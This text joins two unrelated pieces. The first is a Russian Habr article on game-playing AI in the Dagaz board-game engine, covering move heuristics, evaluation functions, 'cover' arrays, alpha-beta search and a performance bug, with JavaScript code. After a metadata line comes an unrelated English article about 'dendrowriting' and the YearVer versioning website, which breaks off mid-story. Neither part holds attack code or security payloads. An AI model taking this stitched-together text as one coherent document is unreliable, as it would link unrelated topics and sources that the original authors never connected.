С точки зрения AI бота, игра, во многом, «оказуаливается». Здесь нет необходимости в выполнении просмотра на много ходов в глубину. Важно угадать, как будет ходить противник! Меняется тактика игры. Практически бесполезно пытаться атаковать всадников, находящихся «под боем» — они наверняка убегут. «Вилки» — более перспективны, но придётся выбирать, какого из всадников бить. Если же у противника остался всего один всадник (а у вас их полный комплект), можно попытаться «подкараулить» его, сходив на выбранное им поле. Только не делайте это пешкой! Есть нюансы связанные с превращением фигур, но, в целом…
**Всё сводится к набору эвристик**
```
...
var isCovered = function(design, board, pos, player, type) {
var r = false;
_.each(Dagaz.Model.GetCover(design, board)[pos], function(pos) {
var piece = board.getPiece(pos);
if ((piece !== null) && (piece.player == player)) {
if (_.isUndefined(type) || (piece.type == type)) {
r = true;
}
}
});
return r;
}
Ai.prototype.getMove = function(ctx) {
var moves = Dagaz.AI.generate(ctx, ctx.board);
if (moves.length == 0) {
return { done: true, ai: "nothing" };
}
timestamp = Date.now();
var enemies = 0;
var friends = 0;
_.each(ctx.design.allPositions(), function(pos) {
var piece = ctx.board.getPiece(pos);
if ((piece !== null) && (piece.type == 1)) {
if (piece.player == 1) {
enemies++;
} else {
friends++
}
}
});
var eval = -MAXVALUE;
var best = null;
_.each(moves, function(move) {
var e = _.random(0, NOISE_FACTOR);
if (move.isSimpleMove()) {
var pos = move.actions[0][0][0];
var trg = move.actions[0][1][0];
var piece = ctx.board.getPiece(pos);
if (piece !== null) {
var target = ctx.board.getPiece(trg);
if (piece.type == 1) {
if (isCovered(ctx.design, ctx.board, pos, 1)) e += MAXVALUE;
if (target === null) {
if (isCovered(ctx.design, ctx.board, trg, 1, 0)) e += LARGE_BONUS;
if (isCovered(ctx.design, ctx.board, trg, 1, 1)) {
if ((enemies == 1) && (friends == 2)) {
e += BONUS;
} else {
e -= MAXVALUE;
}
}
} else {
if (target.type == 1) {
e += SMALL_BONUS;
} else {
e += BONUS;
}
}
} else {
if (isCovered(ctx.design, ctx.board, pos, 1)) e += SMALL_BONUS;
if ((target === null) && isCovered(ctx.design, ctx.board, trg, 1)) e -= MAXVALUE;
if (friends == 1) e += BONUS;
if (target !== null) e += SMALL_BONUS;
if ((move.actions[0][2] !== null) && (move.actions[0][2][0].type != piece.type)) {
if (friends == 1) {
e += MAXVALUE;
} else {
e -= MAXVALUE;
}
}
}
}
}
if ((best === null) || (eval < e)) {
console.log("Move: " + move.toString() + ", eval = " + e);
best = move;
eval = e;
}
});
return {
done: true,
move: best,
time: Date.now() - timestamp,
ai: "aggressive"
};
}
```
[](https://glukkazan.github.io/shogi/tenjiku-shogi.htm)
Другая крайность — игры большие и сложные настолько, что мало мальский просмотр в глубину для них невозможен технически. Здесь мы **вынуждены** использовать более [казуальный AI](https://github.com/GlukKazan/Dagaz/blob/master/src/debug/kernel/controller/ai/aggressive-ai-v4.js), просматривающий позицию всего на 1-2 хода вперёд, причем даже на эту глубину, просмотреть все имеющиеся ходы не удастся! Во всяком случае, за комфортное для человека время поиска хода ботом в течение 2-3 секунд.
**Ещё немного о производительности**
Большие и сложные игры обнажают все проблемы, связанные с производительностью. Обычно, то насколько быстро выполняется код, связано с качеством работы AI (чем больше позиций успевает рассмотреть он за отведённое время — тем лучше работает), но иногда проблемы с производительностью становятся более очевидными. В процессе работы над [Tenjiku shogi](https://en.wikipedia.org/wiki/Tenjiku_shogi), я заметил, что в некоторых позициях время реакции пользовательского интерфейса становилось просто неприлично большим (порядка 10-15 секунд).
Всё дело в «Огненном демоне» (и подобных ему фигурах). Обратите внимание на диаграмму справа. Помимо обычных «range»-атак, «демон» имеет право, в любой момент, выполнить до трёх одно-шаговых перемещений в произвольном направлении, при этом, ему разрешается возвращаться на ранее пройденные поля. Это настоящий «комбинаторный убийца» производительности! В начальной позиции, когда все подобные фигуры «зажаты», этот эффект проявляется не так сильно, но когда они выходят на оперативный простор… Количество возможных вариантов ходов желающие могут подсчитать самостоятельно (на диаграмме ниже представлены графики изменения среднего количества допустимых ходов, в течение игры, для нескольких известных игр).
Здесь следует немного рассказать об архитектуре Dagaz. Главная идея заключается в том, что, прежде чем передавать управление пользователю или боту, модель игры генерирует **все** возможные ходы из текущей позиции. Это позволяет рассматривать совокупность ходов «целиком» и помогает решить ряд проблем [Zillions of Games](http://zillions-of-games.com/), связанных с составными ходами. Кроме того, такой подход очень удобен для разработки ботов. Но есть одна проблема.
Для пользователя, сложный составной ход представляет собой **последовательность** различных действий (перемещений, взятий и, возможно, сбросов новых фигур на доску). Где-то должен быть код, позволяющий по последовательности пользовательских «кликов» выбрать единственный ход из ранее сформированного и возможно большого списка. И такой код в Dagaz, разумеется [есть](https://github.com/GlukKazan/Dagaz/blob/master/src/debug/kernel/controller/utils/move-list-v2.js).
**В нём и скрывалась ошибка**
```
MoveList.prototype.isUniqueFrom = function(pos) {
var c = 0;
_.each(this.moves, function(move) {
_.each(this.getActions(move), function(action) {
if ((action[0] !== null) && (_.indexOf(action[0], pos) >= 0)) c++;
});
}, this);
return c == 1;
}
MoveList.prototype.isUniqueTo = function(pos) {
var c = 0;
_.each(this.moves, function(move) {
_.each(this.getActions(move), function(action) {
if ((action[1] !== null) && (_.indexOf(action[1], pos) >= 0)) c++;
});
}, this);
return c == 1;
}
...
MoveList.prototype.getStops = function() {
var result = this.getTargets();
_.each(this.moves, function(move) {
var actions = _.filter(this.getActions(move), isMove);
if ((actions.length > 0) && (actions[0][0].length == 1) &&
(actions[0][1].length == 1)) {
if (Dagaz.Model.smartFrom) {
if (this.isUniqueFrom(actions[0][0][0]) && !this.canPass()) {
result.push(actions[0][0][0]);
}
}
if (Dagaz.Model.smartTo) {
if (this.isUniqueTo(actions[0][1][0])) {
result.push(actions[0][1][0]);
}
}
} else {
...
}
}, this);
return _.uniq(result);
}
```
Видите в чём проблема? Функция **getStops** строит список всех завершающий полей каждого хода и, для этого, перебирает все ходы в цикле, но при включенных опциях **smartFrom** или **smartTo** (опции немедленного выполнения хода по первому «клику», при отсутствии альтернативных вариантов), выполняется **вложенный** перебор всех ходов. А ходов формируется много!
На небольших играх, вроде шашек или шахмат, ошибка никак не проявлялась. Даже в начальной позиции [Tenjiku shogi](https://glukkazan.github.io/shogi/tenjiku-shogi.htm) она не была заметна. Понадобились «убийцы производительности», чтобы её выявить. А для локализации ошибки очень пригодился модуль [KPI](https://github.com/GlukKazan/Dagaz/blob/master/src/debug/kernel/controller/utils/kpi.js), без которого я попросту не знал бы, где искать проблему. Сейчас ошибка исправлена и, в результате, весь код стал лучше.
Итак, мы ограничены в глубине просмотра и должны принять верное (или хотя бы не катастрофическое) решение за ограниченное время. При этом, крайне желательно, чтобы обеспечивалось выполнение следующих принципов:
1. Безусловно, должен выбираться ход ведущий к немедленной победе
2. Не должен выбираться ход, на который имеется ответ, ведущий к немедленной победе
3. Выбранный ход должен обеспечивать наибольшее улучшение позиции
**Как оценивать позицию?**
Самый простой способ — оценка материального баланса. Каждому типу фигур присваивается стоимость, затем складываем стоимости своих фигур и отнимаем стоимости фигур противника. Оценка грубая, но для действительно сложных игр, пожалуй, единственно возможная. Улучшенная оценка должна учитывать мобильность фигур и их взаимные угрозы (об этом я буду говорить ниже). Для «больших» игр со сложными правилами, оценка взаимных угроз может оказаться слишком накладной.
**Простейшая оценочная функция**
```
Dagaz.AI.eval = function(design, params, board, player) {
var r = 0;
_.each(design.allPositions(), function(pos) {
var piece = board.getPiece(pos);
if (piece !== null) {
var v = design.price[piece.type];
if (piece.player != player) {
v = -v;
}
r += v;
}
});
return r;
}
```
Вторым инструментом является эвристика. Это просто числовая оценка **хода**, а не позиции, позволяющая отличать «плохие» ходы от «хороших». Разумеется, в первую очередь, будут рассматриваться «хорошие» ходы, а на рассмотрение «плохих» времени попросту может не остаться. Простейшая эвристика может включать стоимость взятой фигуры, но помимо этого, желательно оценивать стоимость фигуры, выполняющей ход, возможные превращения, угрозы и т.п.
**Пример эвристики**
```
Dagaz.AI.heuristic = function(ai, design, board, move) {
var r = 0;
var player = board.player;
var start = null;
var stop = null;
var captures = [];
_.each(move.actions, function(a) {
if ((a[0] !== null) && (a[1] === null)) {
var pos = a[0][0];
var piece = board.getPiece(pos);
if ((piece !== null) && (piece.player != player)) {
r += design.price[piece.type] * ai.params.CAPTURING_FACTOR;
if (!_.isUndefined(board.bonus) && (board.bonus[pos] < 0)) {
r -= board.bonus[pos];
}
}
captures.push(pos);
}
if ((a[0] !== null) && (a[1] !== null)) {
if (start === null) {
start = a[0][0];
if (!_.isUndefined(board.bonus)) {
r += board.bonus[start];
}
}
stop = a[1][0];
}
});
var price = 0;
if (start !== null) {
var piece = board.getPiece(start);
if (piece !== null) {
price = design.price[piece.type];
}
}
_.each(move.actions, function(a) {
if ((a[0] !== null) && (a[1] !== null)) {
var pos = a[1][0];
var piece = board.getPiece(pos);
if (_.indexOf(captures, pos) < 0) {
if ((piece !== null) && (piece.player != player)) {
r += design.price[piece.type] * ai.params.CAPTURING_FACTOR;
if (!_.isUndefined(board.bonus)) {
r += Math.abs(board.bonus[pos]);
}
}
if (a[2] !== null) {
var promoted = a[2][0];
r -= price * ai.params.SUICIDE_FACTOR;
if (promoted.player == player) {
r += design.price[promoted.type] * ai.params.PROMOTING_FACTOR;
}
}
} else {
r -= price * ai.params.SUICIDE_FACTOR;
}
}
if ((a[0] === null) && (a[1] !== null) && (a[2] !== null) &&
(_.indexOf(captures, a[1][0]) < 0)) {
var pos = a[1][0];
var piece = board.getPiece(pos);
if (piece !== null) {
if (piece.player != player) {
r += design.price[piece.type] * ai.params.CAPTURING_FACTOR;
}
}
piece = a[2][0];
if (piece.player == player) {
r += design.price[piece.type] * ai.params.CREATING_FACTOR;
}
}
});
if (!_.isUndefined(board.cover) && (start !== null) && (stop !== null)) {
if (isAttacked(design, board, board.player, stop, start, price)) {
r -= price * ai.params.SUICIDE_FACTOR;
}
}
return r;
}
```
Важно понимать, что максимальное значение эвристики вовсе не означает, что именно этот ход будет выбран. Эвристика задаёт только порядок просмотра ходов. В рамках этого порядка, выбирается ход наибольшим образом увеличивающий значение оценочной функции (после выполнения ответного хода противника с максимальной эвристикой). Можно принудительно исключать часть ходов из рассмотрения, задавая им отрицательное значение эвристики, но это средство следует использовать с осторожностью, лишь в тех случаях, когда есть стопроцентная уверенность, что рассматриваемый ход не просто бесполезный, а именно вредный.
**Стоимость фигур**
```
...
design.addPiece("King", 32, 10000);
design.addPiece("Prince", 33, 10000);
design.addPiece("Blind-Tiger", 34, 3);
design.addPiece("Drunk-Elephant", 35, 3);
design.addPiece("Ferocious-Leopard", 36, 3);
design.addPiece("Gold-General", 37, 3);
design.addPiece("Silver-General", 39, 2);
design.addPiece("Copper-General", 40, 2);
design.addPiece("Chariot-Soldier", 41, 18);
design.addPiece("Dog", 43, 1);
design.addPiece("Bishop-General", 44, 21);
design.addPiece("Rook-General", 46, 23);
design.addPiece("Vice-General", 48, 39);
design.addPiece("Great-General", 49, 45);
...
```
Помните, выше я говорил о трёх принципах? Королевским фигурам (типов таких фигур в игре может быть несколько) имеет смысл присваивать очень высокую стоимость. Этим мы убиваем сразу двух зайцев: во первых, ход берущий королевскую фигуру получит максимально-возможную эвристику (и всегда будет рассматриваться в первую очередь), кроме того, отсутствие на доске королевской фигуры заметным образом скажется на значении оценочной функции, что также весьма удобно. К сожалению, в применении к [Шахматам](https://ru.wikipedia.org/wiki/%D0%A8%D0%B0%D1%85%D0%BC%D0%B0%D1%82%D1%8B) этот трюк не актуален, поскольку [король](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D1%80%D0%BE%D0%BB%D1%8C_(%D1%88%D0%B0%D1%85%D0%BC%D0%B0%D1%82%D1%8B)) в них никогда не берётся.
Следует отметить, что оценивать позицию всегда следует лишь по завершении ответного хода противника! Если имеется цепочка разменов, следует просматривать её до конца, в противном случае, может получиться так, что атакующая фигура будет отдана за менее ценную.
Игры более чем двух игроков — ещё одно применение казуальных «одноходовых» AI. Всё дело в оценочной функции. Минимаксные алгоритмы работают только в том случае, если оценка с точки зрения одного игрока совпадает с оценкой другого, взятой с противоположным знаком. То что теряет один — приобретает другой. Если игроков трое ([или больше](https://glukkazan.github.io/xiangqi/qiquo-xiangqi-kanji.htm)) — всё ломается. Разумеется, всё ещё можно применять алгоритмы на основе метода "[Монте-Карло](https://en.wikipedia.org/wiki/Monte_Carlo_tree_search)", но с ними связаны другие трудности.
[](https://glukkazan.github.io/shogi/yonin-shogi.htm)
[Yonin Shogi](https://glukkazan.github.io/shogi/yonin-shogi.htm) — вариант "[японских шахмат](https://en.wikipedia.org/wiki/Shogi_variant)" для четырёх игроков. Большинство правил, в этой игре, остаются неизменными, но изменяется цель игры. Понятие «мата», в известной степени, теряет смысл. В самом деле, если «восток» угрожает королю «юга» — это ещё не повод для защиты от «шаха», пока «запад» и «север» не скажут своё слово. С другой стороны, если угроза так и не будет устранена, следующим ходом «восток» съест короля. Таким образом, в Yonin Shogi разрешается брать королей (и это является целью игры).
Кроме того, игра не заканчивается взятием короля (подобный исход был бы слишком скушен, для оставшихся трёх игроков). Игрок теряющий короля выбывает из игры, теряя право своего хода. Так как королей разрешается брать, они, как и все прочие фигуры, попадают в резерв и могут быть в любой момент поставлены на доску. Игрок **обязан** выставить короля из резерва, если на доске его королей не осталось. После всего сказанного, цель игры становится очевидна — побеждает тот, кто соберёт всех четырёх королей (когда я делал игру для [Zillions of Games](http://zillions-of-games.com/), осознать этот нюанс мне помог [Howard McCay](http://zillions-of-games.com/cgi-bin/zilligames/submissions.cgi?searchauthor=505)).
**Всё сказанное выше ведёт к простой мысли**
Существуют игры, в которых не могут применяться сложные алгоритмы поиска в глубину, а само понятие оценочной функции должно быть переосмыслено. Чтобы сохранить качество работы алгоритмов AI приемлемым, необходимо улучшать оценки и эвристики, возможно, за счёт их усложнения. Очевидным способом является введение мобильности — количества всех возможных ходов, совершаемых игроком, за вычетом ходов противника.
`eval = A * material-balance + B * mobility; где A >= 0, B >= 0, A + B = 1`
При применении «одноходовых» алгоритмов, оценка мобильности творит чудеса. Тупая игра бота становится более «осмысленной». Есть правда один минус — для того чтобы оценить мобильность, необходимо построить (или хотя бы пересчитать) все возможные ходы за каждого из игроков, а это — очень дорогая операция. Поскольку мы, всё равно, вынуждены этим заниматься, хочется «выжать» из генерации ходов всё возможное, а также минимизировать количество таких операций.
**Покрытие**
```
Dagaz.AI.eval = function(design, params, board, player) {
var r = 0;
var cover = board.getCover(design);
_.each(design.allPositions(), function(pos) {
var defended = _.filter(cover[pos], function(p) {
var piece = board.getPiece(p);
if (piece === null) return false;
return piece.player == player;
});
if (defended.length > 0) r++;
});
return r;
}
```
Так я пришёл к идее «покрытия». Это просто массив массивов. Для каждого из полей (а любое поле в Dagaz всегда кодируется целым числом) сохраняется, возможно пустой, список позиций, на которых расположены фигуры, способные это поле побить. При этом (и это важно) не делается различий между пустыми и занятыми полями, а также владельцами «бьющих» фигур. Список возможных ходов вычисляется для всех игроков **одновременно**, а за счёт кэширования, ещё и однократно.
Разумеется, универсальный алгоритм построения «покрытия» пригоден далеко не для всех игр. Для [Шахмат](https://glukkazan.github.io/checkmate/chess.htm) и [Шашек](https://glukkazan.github.io/checkers/russian-checkers.htm) он работает, а вот для [Спока](https://glukkazan.github.io/elimination/spock-board.htm) уже нет (поскольку, в этой игре фигуры могут беспрепятственно проходить через другие фигуры своего цвета). Это не должно смущать. Также как оценочную функцию и эвристики, алгоритм построения «покрытия» можно переопределять, используя имя **Dagaz.Model.GetCover**. Более того, даже в тех случаях, когда универсальный алгоритм работает, бывает полезно подумать о его кастомизации. Специализированные алгоритмы, как правило, более производительны.
Вот [пример](https://glukkazan.github.io/elimination/maharadja-variant.htm) использования «покрытия» в реальной игре. Это по прежнему простейший «одношаговый» алгоритм и его очень легко обмануть, но действия бота кажутся осмысленными! Анализируя покрытие, AI никогда не оставляет свои фигуры без защиты и стремится максимально «развернуть» их на доске, максимизируя количество полей, находящихся под боем. Это хорошая тактика, безусловно приводящая к победе при игре против одного "[Махараджи](https://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D0%B3%D0%B0%D1%80%D0%B0%D0%B4%D0%B6%D0%B0_(%D0%B8%D0%B3%D1%80%D0%B0))". Также хорошо этот алгоритм показывает себя в "[Charge of the Light Brigade](https://glukkazan.github.io/checkmate/charge-light-brigade.htm)", "[Dunsany's Chess](https://glukkazan.github.io/checkmate/dunsanys-chess.htm)", "[Horde Chess](https://glukkazan.github.io/checkmate/horde-chess.htm)", "[Weak!](https://glukkazan.github.io/checkmate/weak.htm)" и прочих «малых» шахматных играх. Для меня очевидно, что использование «покрытия» поможет улучшить и более сложные алгоритмы, но прежде чем перейти к ним, мне необходимо потренироваться.
Обратите внимание на то, что где-то в районе [5:39](https://youtu.be/nDOLry-do9A?t=341) все перемещения резко ускоряются. Это объясняется просто. Параллельно с анимацией движения плашек (просто, чтобы человек не скучал), бот ведёт поиск целевой позиции и после того как её находит, идёт к ней по прямой, не теряя время на дополнительные вычисления.
**Кстати**
Мне не удалось пронаблюдать этот эффект на FireFox 52.6.0. В Хроме и даже в IE алгоритм нашёл решение примерно за 5 минут, а в «Огненном лисе» продолжал неторопливо двигать плашки в течение минут пятнадцати, покуда я его не вырубил (при этом память жрал как не в себя). Я пока не нашёл объяснения этому феномену.
Для меня, это значительный шаг вперёд, по сравнению с [предыдущей версией](https://www.youtube.com/watch?v=l4oi8r747a0). [Алгоритм](https://github.com/GlukKazan/Dagaz/blob/master/src/debug/kernel/controller/ai/bruteforce-ai-v4.js) представляет собой простейший [поиск в ширину](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%B8%D1%81%D0%BA_%D0%B2_%D1%88%D0%B8%D1%80%D0%B8%D0%BD%D1%83) (не [в глубину](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%B8%D1%81%D0%BA_%D0%B2_%D0%B3%D0%BB%D1%83%D0%B1%D0%B8%D0%BD%D1%83)! это важно, нас ведь интересует кратчайшее решение?). Повторные позиции отсекаются, при помощи [Zobrist hash](https://en.wikipedia.org/wiki/Zobrist_hashing), что кстати делает возможной (хотя и крайне маловероятной) ситуацию, при которой решение может быть не найдено в результате коллизии. Кроме того, приоритет при поиске отдаётся узлам, являющимся потомками текущего узла анимации (для того чтобы минимизировать количество необходимых возвратов, после обнаружения решения).
**Попутно, я сделал ещё одну штуку**
Дело в том, что в Zillions of Games есть опция, назначения которой я никогда не понимал. Называется она «progressive levels». Как только вы заканчиваете один уровень игры, она немедленно загружает следующий, просто по порядку. Теперь, думаю, я уловил в чём тут смысл. Попробуйте погасить эти лампочки:
[](https://glukkazan.github.io/light-off/hex-light-off-01.htm)
Согласитесь, это затягивает. А уж на то, как кто-то решает головоломки за тебя, можно вообще [смотреть до бесконечности](https://glukkazan.github.io/sliding-puzzles/fujiware_1-ai.htm). Но это только половина дела! Как и практически любую опцию Dagaz, **мой** «progressive levels» можно кастомизировать.
[](https://glukkazan.github.io/sliding-puzzles/washington_1.htm)
Эта головоломка была посвящена избранию [Джорджа Вашингтона](https://ru.wikipedia.org/wiki/%D0%92%D0%B0%D1%88%D0%B8%D0%BD%D0%B3%D1%82%D0%BE%D0%BD,_%D0%94%D0%B6%D0%BE%D1%80%D0%B4%D0%B6) на пост президента и, первоначально, я реализовал её не вполне корректно. Для **правильного** решения необходимо провести красный квадрат через все четыре угла поочерёдно, но в Dagaz можно задать только одну цель. Здесь и вступает в действие **кастомный** «progressive levels».
Как только мы доходим до очередной цели, загружается следующий уровень, но расстановка фигур, при этом, берётся из предыдущего! Мы просто продолжаем с того места где остановились. [Модуль](https://github.com/GlukKazan/Dagaz/blob/master/src/debug/kernel/model/common-setup.js), используемый для передачи позиции между уровнями, ценен сам по себе. Теперь, если включить лог браузера вовремя, можно вернуться к любой ранее пройденной позиции, практически в каждой из игр. Достаточно скопировать в URL строку, следующую в логе за надписью «Setup:». Это здорово помогает в отладке!
Кастомный «progressive levels» применим в играх со сложным жизненным циклом, таких как [Kamisado](https://glukkazan.github.io/breakthrough/kamisado.htm). Эта игра не заканчивается при достижении **одной** из фигур последней линии! По [правилам](http://www.boardspace.net/kamisado/english/RULES%20ENG.pdf), фигура вошедшая в лагерь противника получает ранг «сумоиста» и дополнительные возможности, после чего, фигуры расставляются по оговоренному алгоритму и начинается следующий раунд. Теперь, Dagaz умеет это! Не сомневаюсь, возможность будет полезной при реализации многих традиционных [манкал](https://glukkazan.github.io/mancala/mancala.svg). А при очень большом желании, на его основе, вполне можно сделать какой нибудь простенький [рогалик](https://ru.wikipedia.org/wiki/Roguelike).
[](https://glukkazan.github.io/breakthrough/horn-chess.htm)
Это детская игра [родом из Китая](https://sites.google.com/site/boardandpieces/list-of-games/horn-chess). Чёрные камни не могут перемещаться вниз, белый — двигается в любую сторону. Прежде чем читать дальше, попробуйте самостоятельно «зажать» белый камень в вершине «рога». Если не получается — ничего страшного:
**Даю подсказку**
Чем-то похоже на "[Французскую военную игру](https://glukkazan.github.io/breakthrough/french-military-small.htm)" или "[Игру гномов](https://glukkazan.github.io/breakthrough/game-of-dwarfs.htm)", но, на мой взгляд, «Роговые шахматы» намного глубже и сложнее этих игр. Если не верите, попробуйте справиться с [этим](https://glukkazan.github.io/breakthrough/horn-chess-hard.htm). При всей внешней незатейливости, игра совсем не проста. Я видел пару научных статей (на китайском), посвящённых ей. И это хороший материал для отладки [более сложных AI](https://github.com/GlukKazan/Dagaz/blob/master/src/debug/kernel/controller/ai/ab-ai-v2.js).
**Главное - не напутать со знаками!**
```
Dagaz.AI.eval = function(design, params, board, player) {
var r = 0;
var white = null;
var black = [];
for (var pos = 0; pos < design.positions.length - 3; pos++) {
var piece = board.getPiece(pos);
if (piece !== null) {
if (piece.player == 1) {
if (white === null) {
black.push(pos);
} else {
r += MAXVAL / 2;
}
} else {
white = pos;
}
}
}
if (white !== null) {
r += white;
}
if (black.length == 2) {
if ((black[0] + 1 == black[1]) && (black[1] + 1 == white)) {
if (board.player == 1) {
r = MAXVAL;
} else {
r = -MAXVAL;
}
if (player == 1) {
r = -r;
}
}
}
return r;
}
Dagaz.AI.heuristic = function(ai, design, board, move) {
var b = board.apply(move);
return design.positions.length +
Dagaz.AI.eval(design, ai.params, b, board.player) -
Dagaz.AI.eval(design, ai.params, board, board.player);
}
...
AbAi.prototype.ab = function(ctx, node, a, b, deep) {
node.loss = 0;
this.expand(ctx, node);
if (node.goal !== null) {
return -node.goal * MAXVALUE;
}
if (deep <= 0) {
return -this.eval(ctx, node);
}
node.ix = 0;
node.m = a;
while ((node.ix < node.cache.length) && (node.m <= b) &&
(Date.now() - ctx.timestamp < this.params.AI_FRAME)) {
var n = node.cache[node.ix];
if (_.isUndefined(n.win)) {
var t = -this.ab(ctx, n, -b, -node.m, deep - 1);
if ((t !== null) && (t > node.m)) {
node.m = t;
node.best = node.ix;
}
} else {
node.loss++;
}
node.ix++;
}
return node.m;
}
```
[](https://glukkazan.github.io/breakthrough/horn-chess-hard.htm?setup=02;03;-19)
Вот один из ключевых моментов. Двигаем правый чёрный камень вверх. Более слабый «одношаговый» [алгоритм](https://glukkazan.github.io/breakthrough/horn-chess.htm?setup=02;03;-19) идёт вниз, после чего чёрные легко загоняют его в угол. Минимаксная реализация — делает правильный ход, после которого может победить, если чёрные допустят ошибку. Это не означает, что поймать белых невозможно, но просмотр на несколько ходов вперёд значительно улучшает их игру!
Выше, на примере [Tenjiku Shogi](https://glukkazan.github.io/shogi/tenjiku-shogi.htm), я уже показывал, что различные настольные игры могут сильно отличаться друг от друга. Прежде всего, это касается вариативности — усреднённого количества допустимых ходов на той или иной стадии игры. Этот параметр определяет применимость алгоритма AI, при разработке бота. Совершенно очевидно, что минимаксный алгоритм, использованный мной в [Horn Chess](https://glukkazan.github.io/breakthrough/horn-chess-hard.htm) не будет работать нормально в действительно больших играх, наподобие [Ko Shogi](https://glukkazan.github.io/shogi/ko-shogi-board.htm) или [Gwangsanghui](https://glukkazan.github.io/xiangqi/gwangsanghui.htm). С другой стороны, применённый в них «агрессивный» алгоритм будет играть слишком слабо, в таких играх как "[Шахматы](https://glukkazan.github.io/checkmate/chess.htm)". Но это только часть проблемы.
[](https://glukkazan.github.io/custodian/ming-mang-small.htm)
Главные отличия заключены в механике. К счастью, это именно то, что может быть кастомизировано оценочной функцией и эвристиками. Плохая новость заключается в том, что додуматься до того, как они должны быть простроены просто бывает далеко не всегда. Игры с "[Custodian](https://en.wikipedia.org/wiki/Custodian_capture)"-захватом (такие как тибетский "[Минг-Манг](https://en.wikipedia.org/wiki/Ming_Mang_(game))") прекрасно иллюстрируют мой тезис.
**Здесь недостаточно простой оценки материального баланса!**
```
var eval = Dagaz.AI.eval;
Dagaz.AI.eval = function(design, params, board, player) {
var r = eval(design, params, board, board.player);
var cover = board.getCover(design);
var cnt = null;
_.each(cover, function(list) {
var cn = 0;
_.each(list, function(pos) {
var piece = board.getPiece(pos);
if (piece !== null) {
if (piece.player == board.player) {
r--;
} else {
cn++;
}
}
});
if ((cnt === null) || (cnt < cn)) {
cnt = cn;
}
});
r += cnt * 3;
if (board.player != player) {
return -r;
} else {
return r;
}
}
var done = function(design, board, player, pos, dir, trace, captured) {
var p = design.navigate(player, pos, dir);
if (p !== null) {
var piece = board.getPiece(p);
if (piece !== null) {
if (piece.player == player) {
_.each(trace, function(pos) {
if (_.indexOf(captured, pos) < 0) {
captured.push(pos);
}
});
} else {
trace.push(p);
done(design, board, player, p, dir, trace, captured);
trace.pop();
}
}
}
}
var capture = function(design, board, player, pos, dir, dirs, trace, captured) {
var p = design.navigate(player, pos, dir);
if (p !== null) {
var piece = board.getPiece(p);
if (piece !== null) {
if (piece.player == player) {
_.each(trace, function(pos) {
if (_.indexOf(captured, pos) < 0) {
captured.push(pos);
}
});
} else {
trace.push(p);
capture(design, board, player, p, dir, dirs, trace, captured);
if (trace.length > 1) {
_.each(dirs, function(dir) {
var pos = design.navigate(player, p, dir);
if (pos !== null) {
var piece = board.getPiece(pos);
if ((piece !== null) && (piece.player != player)) {
trace.push(pos);
done(design, board, player, pos, dir, trace, captured);
trace.pop();
}
}
});
}
trace.pop();
}
}
}
}
var checkCapturing = function(design, board, pos, player, captured) {
var trace = [];
capture(design, board, player, pos, 3, [0, 1], trace, captured);
capture(design, board, player, pos, 1, [3, 2], trace, captured);
capture(design, board, player, pos, 2, [0, 1], trace, captured);
capture(design, board, player, pos, 0, [3, 2], trace, captured);
}
Dagaz.Model.GetCover = function(design, board) {
if (_.isUndefined(board.cover)) {
board.cover = [];
_.each(design.allPositions(), function(pos) {
board.cover[pos] = [];
if (board.getPiece(pos) === null) {
var neighbors = [];
var attackers = [];
_.each(design.allDirections(), function(dir) {
var p = design.navigate(1, pos, dir);
if (p !== null) {
var piece = board.getPiece(p);
if (piece !== null) {
neighbors.push(piece.player);
attackers.push(piece.player);
} else {
while (p !== null) {
piece = board.getPiece(p);
if (piece !== null) {
attackers.push(piece.player);
break;
}
p = design.navigate(1, p, dir);
}
}
}
});
if (neighbors.length > 1) {
var captured = [];
if ((_.indexOf(attackers, 1) >= 0) &&
(_.indexOf(neighbors, 2) >= 0)) {
checkCapturing(design, board, pos, 1, captured);
}
if ((_.indexOf(attackers, 2) >= 0) &&
(_.indexOf(neighbors, 1) >= 0)) {
checkCapturing(design, board, pos, 2, captured);
}
if (captured.length > 0) {
board.cover[pos] = _.uniq(captured);
}
}
}
});
}
return board.cover;
}
```
В оценочной функции, мне пришлось не просто использовать «покрытие», но и серьёзно переделать алгоритм его вычисления. Что касается эвристики, она в этой игре совершенно элементарна:
```
Dagaz.AI.heuristic = function(ai, design, board, move) {
return move.actions.length;
}
```
Чем больше фигур возьмёт ход (от этого зависит его размер) — тем лучше! Над оценочной функцией пришлось серьёзно потрудиться, но результат того определённо стоил:
Замечу, на видео представлена работа простейшего «одноходового» алгоритма (можно заметить, что при отсутствии «безопасных» ходов он не всегда играет достаточно эффективно). Как я уже говорил выше, учёт в оценке мобильности и «покрытия» творит чудеса!
И напоследок, видео ещё одной, крайне необычной, игры с custodian-захватом:
***А всех дам спешу поздравить с наступающим праздником!*** | https://habr.com/ru/post/349516/ | null | ru | null |
# A new writing method/technology (“dendrowriting”), as exemplified by the YearVer site
Several years have passed since the appearance of [the first text markup language that supports “dendrowriting”](https://pqmarkup.org), but no worthwhile piece of text demonstrating the advantages of the new writing method/technology has yet appeared.
The largest “dendrotext” was a couple of paragraphs in the [pqmarkup documentation](http://pqmarkup.org/ru/syntax "‘Дополнительные возможности форматирования’ → ‘Спойлеры (разворачиваемый блок информации)’ → ‘Для чего нужна последняя форма’ → см. скрытый текст после слова ‘древовидно’"), consisting of only ~1300 characters and available only in Russian.
In English there was no “dendrotext” at all, as such [apart from small insertions in the documentation for the 11l programming language (e.g., ‘Boolean type’ in [Built-in types](http://11l-lang.org/doc/built-in-types))].
But last year...
… when I was tidying up the meta-information for my projects, I noticed that I had settled on recording version numbers in `YYYY.M[.n]` form. Then I got the idea of giving this designation a name: YearVer [obviously, by analogy with SemVer]. And the rule for naming additional versions {published in the same month or fixing bugs in the main version} formed the basis of the text for a new website.
Soon after, I learned about the existence of CalVer from the [Software versioning page on Wikipedia](https://en.wikipedia.org/wiki/Software_versioning). This disappointed me a little, but when I took a closer look I found out that [calver.org](https://calver.org) does not give any specific recommendations about which “calendar versioning” scheme should be used, but simply describes the schemes already used in various projects, without highlighting them in any way.
The creation of a site for YearVer thus remained relevant, and I continued to fill it with content.
The resulting description of the YearVer versioning scheme turned out to be quite short and concise, but very definite, offering specific schemes/strategies depending on the type of project.
And the most challenging task was now to translate the yearver.org/ru page into English, preserving the formatting.
To obtain a high-quality translation, I decided to contact three different translation agencies at once and to emphasize the fact that I was interested in maximum quality and prepared to pay extra for it.
